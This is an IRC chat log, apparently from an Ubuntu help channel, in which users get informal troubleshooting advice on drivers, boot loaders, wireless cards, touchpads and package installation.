[22:17] I need a more complete set of man pages. [22:17] Hi folks, how to I enable 4 workspaces instead of the default 2? [22:17] siriusnova, relax the permissions on the mac side. 777 it? Make sure whatever osx uses is allowing write access [22:17] hello, I upgraded from 7.04 to 7.10 and am not able to boot the latest kernel (kernel panic error) but can boot with the older one, any ideas? can I reinstall the latest one? [22:18] my fglrx drivers worked before i switched to opensuse, but now that ive switched back to ubuntu, when i turn on the drivers, my monitor can only see half of the screen. the other half of it is shifter too much to the right [22:18] zkjellberg: right click on the workspace switcher [22:18] PriceChild - i am using just samba on the mac os x laptop to connect to my "nas" [22:18] zkjellberg: preferences [22:18] Flannel ok i was using gcj instead of sun for eclipse which for some reason wasn't giving me acces to new java 5 implentations [22:18] iCEifer: you could but you will prob have the same problem [22:18] the nas is a linux laptop with 2 externals formatted to hfsplus [22:18] :| [22:18] Ah, thankyee.

You might want to try a google search about them, the linux community was up in arms about the drm enabled on them when they were first released [22:32] the default kernel is smp isnt it ? [22:32] I think so [22:32] ok jrib [22:32] hi, i have a question... how do i enable tv out on my nvidia card? i have the special nvidia 8 series prop drivers installed [22:32] Cleanser23: because it's like automatix reincarnated. When the kernel gets updated the user is left with a broken X. And there's no need for it, now that ubuntu has restricted driver manager [22:32] im trying to extract a .rar file.. im on 7.10.. what program i need? sudo apt-get install what? [22:33] !rar > AC0RN (read the private message from ubotu) [22:33] thx [22:33] jrib: yea but i accidently broke my nvidia restricted driver, you have any idea how i can fix it? [22:33] heartsblood no idea about the drm , i had found something yeasterday that looked like a simple answer but i have now lost the page [22:33] Cleanser23: what did you do to break it? [22:34] jrib i installed a driver from nvidia.com when i didnt need to and it is either the wrong driver or doesnt work right with my peice of shit dell, idk why i did it because the driver that came with ubuntu worked fine i thought i was updating it but im a dumby [22:34] i'm stupid, i should go back in my history [22:35] installing java on 64bit sucks =/ [22:35] ffeJ: sorry to hear that [22:35] Cleanser23: ok, atm do you have X using some other driver or are you comfortable working in a shell while we fix this? [22:35] yo i installed the unrar-free.... i try to extract the .rar file.. and i still cant?

Install unrar [22:36] ooo [22:36] lolz [22:36] Cleanser23: ok, remove the nvidia driver you have [22:36] jrib, i = noob so you need to tell me how to do that sorry [22:36] jrib, i wouldnt be in this situation if i wasnt [22:37] thx dude [22:37] Cleanser23: nvidia provides a README for the binary on their site, it should have instructions on removing it [22:37] jrib, ok hold on one second [22:39] How well does 64 bit Dapper server work? [22:39] DigitalNinja: why do you want 64bit instead of 32bit? [22:39] my mbr somehow looks to my /dev/hdb1 for the /boot/grub/menu.lst there. how do I change this so it does go to hdb1 to seek but instead should go to /dev/hdb11 to look? [22:39] jrib: you have to do '*.run --extract-only' then 'cd NVIDIA-whatever' and 'sudo ./nvidia-instaler --uninstall' [22:40] jrib: Some software I was looking at suggested 64 bit. I'm running 32 bit at the moment [22:40] Cleanser23: see what erUSUL said above. Thanks erUSUL [22:40] jrib, sorry i cant find it on their site, i went to the download page for the .run and everything [22:40] erUSUL jrib, wher? [22:40] DigitalNinja, sure it will work. Sometimes you will have to use a hammer, but other than that. Why you need 64, 8 is not enough? :-) [22:40] Cleanser23: about 10 lines up [22:40] erSUL jrib i seeit [22:41] cabrioleur: 32 works fine.

It's fine, but it's irritating some times. [22:43] I guess I'll stick with 32 bit [22:43] lewix: can you explain the issue again? [22:43] DigitalNinja, good decision. Why to mess something that's working fine. [22:43] how do I 'fix' my touchpad (synaptics is working) to actually be useful? right now I have to scroll it A LOT to move the pointer (sorry for the repeat) [22:43] how do I disable system beeps?

[23:16] water: you may want to check out the gparted live cd. [23:16] Any gamers here that would be interested in writing up some game reviews ? [23:16] lattemett add it to the touchpad section [23:16] water: so why do you urgently need 16GB root partition then? i have less than 10GB and can live with it. [23:16] geoff_: because you used an rpm [23:16] geoff_: you have to remove that first. [23:17] lattemett Option "SHMConfig" "on" [23:17] I'm trying to create a bootable CD with K3B... to no avail... anyone had luck doing this? [23:17] andax: because he only has one partition [23:17] there is no touchpad section, i only habe installed mouse [23:17] Onyx: you need to read up a bit on the El Torito standard, then you'll know what to do [23:17] I've installed Miro 1.1 on Ubuntu 7.10 and it crashes on startup. [23:17] lattemett: is there a synaptics section [23:17] h1st0, i did delete flashplugin-alternative.so from the plugins folder [23:18] so what are the lines i have to insert?

[23:18] no [23:18] Draggin: not sure there is a channel [23:18] h1st0, water: it is possible to have /usr or any other directory on a second HD [23:18] Draggin: it's a community release. [23:18] hey yall im about to go crazy trying to install my broadcom wlan card on my laptop [23:18] lattemett: look here https://help.ubuntu.com/community/SynapticsTouchpad#shmconfig [23:18] if anyone can help me let me know or msg me [23:18] it does not need to be all on one partition [23:18] andax how would i do that [23:18] what name of irc client do you use? [23:18] lattemett: at the top of the xorg.conf is a section about using the auto recreation [23:18] k [23:18] TheYoungBohemian, what software you using? [23:18] lattemett: read the commented out section at the top [23:18] andax [23:19] ikonia - do you know much about it? I wish to try and understand it a bit better, since I ultimately want to install UbuntuStudio on a PS3 [23:19] lattemett: and you need a synaptics section for touchpad [23:19] andax i try to install a game in ubutnu and [23:19] I'm using Banshee [23:19] Draggin: ubuntu studio isn't available on PPC arch [23:19] thx [23:19] andax its install thought wine and when i updated no space... === PSyKo is now known as Nitr0 [23:19] ikonia - only on Intel? Wouldn't there be a way to recompile it for PPC? [23:19] does anyone have any any experience on install a broadcom wireless carde? [23:20] card* [23:20] hi [23:20] Draggin: no, and the fact that you think that suggests it's way beyond you [23:20] !broadcom > mhall, mhall Read the private message from ubotu. [23:20] !broadcom [23:20] Help with Broadcom bcm43xx can be found at https://wiki.ubuntu.com/WifiDocs/Driver/Broadcom43xx [23:20] mhall: have you tried enabling it in System > Admininstration > Restricted drivers manager ? [23:20] yes [23:20] Draggin: due to the P3 limitted hardware access ubuntu or linux in general on it to do anything of any value is worthless [23:20] still no luck === Eric_Adler is now known as tonsofpcs [23:21] ikonia: actually the processor is quite powerfull. [23:21] the blue light turns on but it does now so up in network manger [23:21] ikonia - I'm well aware of that, which is why I wanted to find somewhere to ask these things :) I want to try and understand how it works [23:21] mhall: some chipset like the bcm4318 still need ndiswrapper [23:21] h1st0: I didn't say it wasn't powerful [23:21] ThipThip: oh, ok [23:21] how do i find out what i have? [23:21] Draggin: well do some searching for yellow dog linux. [23:21] andax its install thought wine and when i updated no space... [23:21] mhall: check the link from ubotu ^ [23:21] hello, My OpenGL screensavers are rather slow. Anybody could tell me why this is happening? [23:21] h1st0, how can i manually remove the rpm that i aliened? [23:21] Draggin: I believe there are how tos though for putting ubuntu on ps3 though [23:21] TheYoungBohemian, I don't use Banshee but I got it to work with gtkpod (I had sucess with gtkpod and it is prolly what you need) [23:21] mhall: try 'lspci | grep -i bcm' [23:22] geoff_: no idea if alien creates a deb or not. [23:22] can someone tell me how to map a network drive? [23:22] h1st0, yes thats what it does [23:22] geoff_: try dpkg -l | grep flash see if there is somethign unusual there [23:22] water: i see... tricky situation then. You could make your virtual C: drive onto your other partition. I think that's not too difficult. [23:22] BCM94311MCG [23:22] h1st0 - Yes, there are, but like I said, I was specifically interested in getting Ubuntu studio to run on it - the HOWTOs only show the specific community release installation. What exactly is Yellow Dog? [23:22] Draggin: another distro [23:22] geoff_ yes...alien will create a deb from an rpm [23:22] what irc client do you recommended? [23:22] TheYoungBohemian I could also suggest Floola. [23:22] Draggin: like fedora or debian [23:23] can I apt-get install mplayer? [23:23] Draggin: yellow dog was the first distro availible for ps3 endorsed by sony itself [23:23] geoff_: I strongly advise you to not use alien [23:23] Xintruder: yes [23:23] ikonia - is it also debian-based though? [23:23] Draggin: I don't think so [23:23] h1st0, yes its gives output regarding two different versions [23:23] okay... [23:23] Draggin: no, it's an rpm distro, based on redhat [23:23] hi in ubuntu if i want to run router which article i should bye router i mean that ubuntu can translate(or forward) for example 192.168.0.1 to 1.1.1.1 [23:23] what irc client do you recommended? [23:24] szympans: try them, see what you like [23:24] szympans: i recommend trying a few until you find one you like. [23:24] can someone tell me how to map a network drive? [23:24] !best > szympans (szympans, see the private message from Ubotu) [23:24] !irc > szympans (szympans, see the private message from Ubotu) [23:24] geoff_: well it also gives the package names at the front so just sudo apt-get --purge remove [23:24] thx [23:24] my laptops brightness, is not working with the brightness pointer on screen, they are seperate, why is that? [23:24] ikonia - you said that doing anything worthwhile on the PS3 is close to impossible - wouldn't you be able to at least the processing power of the machine for functions like satellite rendering (with Indigo for instance)? [23:24] Is it flashplayer that locks up Firefox so much?! [23:24] geoff_: without the <> ofcourse [23:24] i heard some one said like ip mosquarding ,i dont know if i spell it right [23:24] i'm a newbe ;/ [23:24] Draggin: depends on what it needs to render, eg: graphics card access, no chance [23:25] troseph: the adobe 10 release has reported problems by people [23:25] aram: masqurading [23:25] ikonia: is that a think i need? [23:26] aram: I don't know, do you need it ? [23:26] ikonia - no, as far as I know, indigo doesn't actually need GPU functionality to do it's renders, but I could be mistaken. But tell me, if the PS3 is so limited, why is there such a big hype about being able to install Linux on it? [23:26] ikonia: My Firefox install(s) have been crashing and locking up since before flash 9... Something is wrong [23:26] I just installed 7.10 and the Screens and Graphics isn't working for me. How reliable is it? [23:26] can someone tell me how to map a network drive?

[23:43] SirBob1701: which partition on the primary drive? [23:43] vrkhans-> umm once you logged in sudo apt-get upgrade or was it update [23:43] parition 1 [23:43] SirBob1701: try sudo fsck /dev/sda1 [23:43] h4wk`laptop so the Ubuntu partition itself will combine it self [23:43] ok [23:43] PcLynX, what is this channel called?

[23:44] PcLynX: try #linux [23:44] aram you have two nics, connecting to same network? or two different networks? using ip address will clarify your situations when you are explaining to me [23:44] bkar: no i dont mean that i mean 1 nic with ip of 1.1.1.1 on my ubuntu would be able to communicate with my other nic which is 2.2.2.2 as u can see they have diffrent range of ip [23:44] ok [23:44] Jupp2: route [23:44] Starnestommy: the ifconfig command by itself is not very helpful [23:45] Hey Im not sure if its a default setting or what but in ubuntu when I hit the apostrophe or quotation button, it puts an accent over the next letter I hit if its a vowel or just doesnt put anything if its a consonant and if i hit it twice it works. is there any way to change that? [23:45] ikonia, well either way, i need to fix it because this is the reason i don't shut down my laptop much [23:45] bkar: ok i will explain all of it === arooni_ is now known as arooni-mobile [23:45] clearzen: route just has an * for gateway [23:45] bkar, so it start the upgrade by downloading all the packages and start installing but after a while it freeez so I restart my computer , [23:45] I install ubuntu 7.10 several weeks ago using Wubi, it has been working well, however today it crashed, and when I tried to reboot I got the error: find --set-root --ignore-floppies /ubuntu/install/boot/grub/menu.lst Error 17: File not found, it then offers a prompt with a list of files, commandline, halt, and reboot, none of the listed files work, what does this error mean, and how do I fix it [23:45] how can I empty the trashcan when there are 'root' documents in there? [23:45] Jupp2: the default line is your gateway [23:45] vrkhans maybe you just have to be patient, wait longer before really rebooting? [23:46] W1ZrD, don't let it happen in the first place by not browsing as root in nautilus to begin with. [23:46] what is a good dyndns client to update my ip? something easy to set up and that will keep it up to date. do I have to use cron? [23:46] clearzen: go it! [23:46] ikonia, the error message is "can't start hal - please ensure dbus is running" [23:46] I know [23:46] master_of_master, apt-cache search dyndns [23:46] PriceChild: I had to do it on two occasions though [23:46] clearzen: I meant goT it! [23:46] I thought it will start where it left [23:46] bkar: i have 1 nic with ip of 1.1.1.1 which is connected to separate network which have 2 pc and in same pc i have another nic which has ip of 2.2.2.2 which also conneted to separate network (2 labtap) [23:46] when I restart [23:46] ikonia, from when hal starts [23:46] route -n is what you want actually [23:46] but that manager didnt come upi [23:47] ikonia, what couuld i do to fix this [23:47] PriceChild: i found a few using synaptic. would like to know which is recommended and easy to set up i guess.

Is there a way to determine why? [23:56] fat 16 [23:56] stormze1: gdm.log ? [23:56] tuntun, this is how executable files are called in linux. Elf.

[23:56] yo guys. my ipod has all of my music on it, i can see it when it connects. however on the ipod itself it says that there is no music. i updated gpod to 5.3... do i just need a more recent version? the ipod i'm using is an 80gb black classic [23:56] robobob: it's probably mounting it read only as fat has no file system [23:56] ubuntu_: you can do that, but it is better to do it on install. === ubuntu_ is now known as stelt [23:56] ticktock_: sdiff or vimdiff [23:56] ikonia: I checked the Xorg log... didn't think to check the gdm log... [23:56] robobob: remount it "-o rw" [23:56] theunixgeek, that's what I am doing, and it tells me that ntfs-3g is telling me that the windows partition was not cleanly shutdown, which is false. this is from GRUB screwup. i think if i reinstall GRUB it will boot again. how do i install GRUB and only GRUB from the livecd? [23:57] libstdc5 ++ [23:57] ok nevermind thanks [23:57] GC|: this has nothing to do with grub [23:57] GC|, ntfsfix, it's in ntfsprogs. [23:57] w32coıdecs adobe reader wants libstdc5^^ [23:57] GC|: in the windows install cd, partition the entire drive [23:57] cabrioleur: highlighted green you mean?

[23:57] oh, and my friend had the same problem with the same kind of ipod and it was fixed with a single command line in terminal. [23:58] ikonia, i never said it did. WHAT I DID SAY is that GRUB screwed up the booting ability of hard drive because the GRUB install phase of Ubuntu install failed. [23:58] and i cannot install [23:58] what can i do [23:58] no idea what that was. i think it just undated/installed shit [23:58] tuntun, highlighted green means it has exec right. It might be a script, or any random file with +x attribute. [23:58] can anyone tell me why my uploads in nicotine under ubuntu are so terribly slow [23:58] theunixgeek, i was hoping to avoid that.
